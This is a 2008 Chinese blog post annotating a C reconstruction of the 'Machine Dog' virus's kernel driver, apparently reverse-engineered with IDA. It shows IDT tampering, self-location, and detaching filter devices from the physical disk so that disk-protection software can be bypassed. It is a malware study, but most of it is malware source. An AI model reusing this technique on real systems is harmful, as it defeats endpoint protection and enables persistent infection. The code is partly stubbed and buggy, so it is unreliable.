• “机器狗”病毒驱动部分逆向分析注释(C代码)

    2008-05-11

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://lengmonanhai.blogbus.com/logs/20688468.html

    软件名称】: 机器狗(病毒)
    【下载地址】: http://www.dream2fly.net 或 自己搜索下载
    【加壳方式】: 未知壳
    【编写语言】: MASM
    【使用工具】: IDA
    【操作平台】: win2003
    【软件介绍】: 穿透冰点型带驱动病毒
    【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

    */
    #include <ntddk.h>          // various NT definitions

    #define IOCTL_MYDEV_BASE             0xF000
    #define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

    #define DR0_DEVICE_NAME                        "\\Device\\Harddisk0\\DR0"
    #define NT_DEVICE_NAME                        "\\Device\\PhysicalHardDisk0"
    #define DOS_DEVICE_NAME                        "\\DosDevices\\PhysicalHardDisk0"

    PDEVICE_OBJECT g_DR0_DeviceObject;
    PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
    VOID*   g_ResData;
    SIZE_T  g_ResDataSize;

    typedef struct _idtr
    {
        //定义中断描述符表的限制,长度两字节;
        short        IDTLimit;
        //定义中断描述服表的基址,长度四字节;
        unsigned int    IDTBase;
    }IDTR,*PIDTR;

    typedef struct _idtentry
    {
        //中断执行代码偏移量的底16位;
        unsigned short    OffsetLow;
        //选择器,也就是寄存器;
        unsigned short    Selector;
        //保留位,始终为零;
        unsigned char        Reserved;
        //IDT中的门的类型:包括中断门,陷阱门和任务门;
        unsigned char        Type:4;
        //段标识位;
        unsigned char        SegmentFlag:1;
        //中断门的权限等级,0表示内核级,3表示用户级;
        unsigned char        DPL:2;
        //呈现标志位;
        unsigned char        Present:1;
        //中断执行代码偏移量的高16位;
        unsigned short    OffsetHigh;
    }IDTENTRY,*PIDTENTRY;

    #define HOOKINTID_09 9                //NPX Segment Overrun
    #define HOOKINTID_0E 0x0E        //Page Fault

    VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
    {
            int INT_09_Address_High8;
            int INT_0E_Address_High8;
            unsigned long OldISR_09;
            unsigned long OldISR_0E;

            //保存IDT入口的基地址和限制信息的数据结构;
        IDTR        idtr;//store   interrupt   descript   table   register. to  idtr

                //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
        PIDTENTRY    IdtEntry;

        //汇编指令sidt,获取IDT入口信息;
        __asm sidt    idtr

        //赋予IDT基地址值;
        IdtEntry = (PIDTENTRY)idtr.IDTBase;

        //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
            OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

            INT_09_Address_High8 = OldISR_09&0x0FF000000;

            /*
            这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
            有知道的大侠告诉我dream2fly(QQ:838468959)
            sub     eax, eax
            jz      short FunctionExit
            难道是?
            if (INT_09_Address_High8 == 0)
                    return;
            */


            //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
            OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

            INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

            if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
            {                
                    //关中断
                    __asm cli
                    
                    IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?
            
                    //开中断
                    __asm sti
            }
    }

    /*
    通过搜索地址来查找自己的加载地址
    查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
    */
    VOID* SearchSelf()
    {
            VOID* pSelfImage = NULL;
            VOID* pCurAddr = NULL;
            VOID* pTmpAddr = NULL;

    //         loc_40045F:这个取当前地址用C怎么写?
    //028 lea     ebx, loc_40045F
    //028 and     ebx, 0FFFFFC00h

            //pSelfImage如何取?

            while(MmIsAddressValid(pSelfImage))
            {
                    if ((unsigned long)pSelfImage <= 0x80000000)
                            return NULL;

                    if (RtlEqualMemory(pSelfImage, "MZ", 2))
                    {
                            pCurAddr = pSelfImage;
                            pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
                            (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

                            if (!MmIsAddressValid(pCurAddr))
                                    return NULL;

                            if (RtlEqualMemory(pCurAddr, "PE", 2))
                                    return pSelfImage;
                    }

                    (unsigned long)pSelfImage -= 0x400;//-1024K
            }
            
            return NULL;
    }

    SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
    {
            // 有空再补上:)

            return 0;
    }
    //
    // Device driver routine declarations.
    //

    NTSTATUS
    DriverEntry(
        IN OUT PDRIVER_OBJECT   DriverObject,
        IN PUNICODE_STRING      RegistryPath
        );

    NTSTATUS
    CommonDispatch(
        IN PDEVICE_OBJECT       DeviceObject,
        IN PIRP                 Irp
        );

    VOID
    Unload(
        IN PDRIVER_OBJECT       DriverObject
        );

    NTSTATUS
    DriverEntry(
        IN OUT PDRIVER_OBJECT   DriverObject,
        IN PUNICODE_STRING      RegistryPath
        )
    {
        NTSTATUS        ntStatus;
            CHAR*                pResData = NULL;
            ANSI_STRING                SourceString;
            PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
        UNICODE_STRING  SymbolicLinkName;  
            UNICODE_STRING  DeviceName;    
            VOID* pSelfImage;
            PDEVICE_OBJECT cur_device_object;
            PDEVICE_OBJECT next_device_object;

            CheckIdt();

            pSelfImage = SearchSelf();
            if (pSelfImage == NULL)
                    return -1;

            g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
            if (g_ResDataSize == 0)
            {
                    return -1;
            }

            g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
            // 跳转到下条指令,延时 jmp short $+2

            RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

            DriverObject->DriverUnload = Unload;
        DriverObject->MajorFunction[IRP_MJ_CREATE] =
        DriverObject->MajorFunction[IRP_MJ_CLOSE] =
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

            // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
            RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
            RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

            RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
            RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
        
        ntStatus = IoCreateDevice(
            DriverObject,                   // Our Driver Object
            0,                              // We don't use a device extension
            &DeviceName,                                        
            FILE_DEVICE_NULL,            // Device type
            0,     // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
            FALSE,                          // Not an exclusive device
            &DeviceObject );                // Returned ptr to Device Object

            if ( !NT_SUCCESS( ntStatus ) )
            {
                    goto End;
            }

            ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

            if ( !NT_SUCCESS( ntStatus ) )
            {
                    cur_device_object = DriverObject->DeviceObject;

                    while (cur_device_object)
                    {
                            next_device_object = DeviceObject->NextDevice;
                            IoDeleteDevice(cur_device_object);
                            cur_device_object = next_device_object;
                    }
            }

    End:
            RtlFreeUnicodeString(&DeviceName);
            RtlFreeUnicodeString(&SymbolicLinkName);

            return STATUS_SUCCESS;
    }

    VOID
    Unload(
       IN PDRIVER_OBJECT DriverObject
        )
    {
            ANSI_STRING                SourceString;
            PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
        UNICODE_STRING  SymbolicLinkName;  
            PDEVICE_OBJECT cur_device_object;
            PDEVICE_OBJECT next_device_object;

            if (g_ResData)
            {
                    ExFreePool(g_ResData);
            }

            if (DriverObject)
            {
                    RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
                    RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

                    IoDeleteSymbolicLink(&SymbolicLinkName);
                    RtlFreeUnicodeString(&SymbolicLinkName);

                    cur_device_object = DriverObject->DeviceObject;

                    while (cur_device_object)
                    {
                            next_device_object = DeviceObject->NextDevice;
                            IoDeleteDevice(cur_device_object);
                            cur_device_object = next_device_object;
                    }
            }
    }

    NTSTATUS
    CommonDispatch(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        )
    {
            PDEVICE_OBJECT  DRO_DeviceObject = NULL;    // ptr to device object
            PFILE_OBJECT        DRO_FileObject;
            ANSI_STRING                SourceString;
        UNICODE_STRING  DRO_DeviceName;    

        PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
        NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
        ULONG               inBufLength; // Input buffer length
        ULONG               outBufLength; // Output buffer length

            Irp->IoStatus.Status = STATUS_SUCCESS;
            Irp->IoStatus.Information = 0;

        irpSp = IoGetCurrentIrpStackLocation( Irp );
        inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
        outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

        if(!inBufLength || !outBufLength)
        {
            ntStatus = STATUS_INVALID_PARAMETER;
            goto End;
        }

            switch ( irpSp->MajorFunction )
            {
            case IRP_MJ_CREATE:
                    RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
                    RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

                    IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
                    g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

                    //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
                    if (DRO_FileObject->DeviceObject->AttachedDevice)
                    {
                            g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
                            DRO_FileObject->DeviceObject->AttachedDevice= NULL;
                    }

                    ObDereferenceObject(DRO_FileObject);

                    RtlFreeUnicodeString(&DRO_DeviceName);

                    break;
            case IRP_MJ_CLOSE:
                    if (g_DR0_DeviceObject)
                    {
                            if (g_OldAttachedDeviceOfDR0)
                            {
                                    g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
                            }
                    }

                    break;
            case IRP_MJ_DEVICE_CONTROL:
                    if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
                    {
                            if (outBufLength < g_ResDataSize)
                                    goto End;

                            // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
                            // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
                            // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
                            RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

                            Irp->IoStatus.Information = g_ResDataSize;
                    }
                    else
                    {
                            ntStatus = STATUS_INVALID_DEVICE_REQUEST;
                    }

                    break;

            default:

                    //
            // The specified I/O control code is unrecognized by this driver.
            //

            ntStatus = STATUS_INVALID_DEVICE_REQUEST;
            break;
        }

    End:
        //
        // Finish the I/O operation by simply completing the packet and returning
        // the same status as in the packet itself.
        //

        Irp->IoStatus.Status = ntStatus;

        IoCompleteRequest( Irp, IO_NO_INCREMENT );

        return ntStatus;
    }

    收藏到:Del.icio.us




发表评论

您将收到博主的回复邮件
记住我